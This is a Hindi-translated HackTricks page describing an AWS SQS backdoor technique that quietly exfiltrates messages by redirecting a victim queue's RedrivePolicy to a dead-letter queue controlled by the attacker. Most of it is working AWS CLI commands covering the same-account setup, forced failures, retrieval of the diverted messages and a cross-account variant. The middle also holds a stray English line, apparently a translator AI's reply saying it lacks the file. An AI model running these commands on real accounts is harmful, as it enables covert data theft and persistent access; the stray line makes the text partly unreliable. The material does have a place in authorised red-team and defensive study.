AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SQS Dead-Letter Queues (DLQs) का दुरुपयोग करके पीड़ित स्रोत कतार से चुपके से डेटा निकाला जा सकता है, उसकी RedrivePolicy को attacker-controlled queue की ओर पॉइंट करके। कम maxReceiveCount और सामान्य प्रोसेसिंग फेल्यर्स को ट्रिगर करके या उनका इंतज़ार करके, संदेश स्वचालित रूप से attacker DLQ पर डायवर्ट हो जाते हैं बिना producers या Lambda event source mappings को बदले।

Abused Permissions

  • sqs:SetQueueAttributes पीड़ित स्रोत कतार पर (RedrivePolicy सेट करने के लिए)
  • sqs:SetQueueAttributes attacker DLQ पर (RedriveAllowPolicy सेट करने के लिए)
  • तेज़ी के लिए वैकल्पिक: sqs:ReceiveMessage स्रोत कतार पर
  • सेटअप के लिए वैकल्पिक: sqs:CreateQueue, sqs:SendMessage

Same-Account Flow (allowAll)

तैयारी (attacker account or compromised principal):

bash
REGION=us-east-1
# 1) Create attacker DLQ
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'

निष्पादन (compromised principal के रूप में victim account में चलाएँ):

bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
ATTACKER_DLQ_ARN=<attacker dlq arn>
aws sqs set-queue-attributes \
--queue-url "$VICTIM_SRC_URL" --region $REGION \
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'

त्वरण (वैकल्पिक):

bash
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
for i in {1..2}; do \
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
--max-number-of-messages 10 --visibility-timeout 0; \
done

I don't have the file contents. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md that you want translated to Hindi (or confirm you want me to translate the entire file).

bash
# 5) Confirm messages appear in attacker DLQ
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--max-number-of-messages 10 --attribute-names All --message-attribute-names All

उदाहरण साक्ष्य (एट्रिब्यूट्स में शामिल हैं DeadLetterQueueSourceArn):

json
{
"MessageId": "...",
"Body": "...",
"Attributes": {
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
}
}

क्रॉस-एकाउंट वैरिएंट (byQueue)

attacker DLQ पर RedriveAllowPolicy सेट करें ताकि केवल विशिष्ट victim source queue ARNs की अनुमति हो:

bash
VICTIM_SRC_ARN=<victim source queue arn>
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'

प्रभाव

  • गुप्त, टिकाऊ data exfiltration/persistence — यह स्वचालित रूप से विफल संदेशों को पीड़ित SQS source queue से हमलावर-नियंत्रित DLQ में मोड़कर करता है, न्यूनतम संचालनगत शोर के साथ और producers या Lambda mappings में किसी भी प्रकार का परिवर्तन किए बिना।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें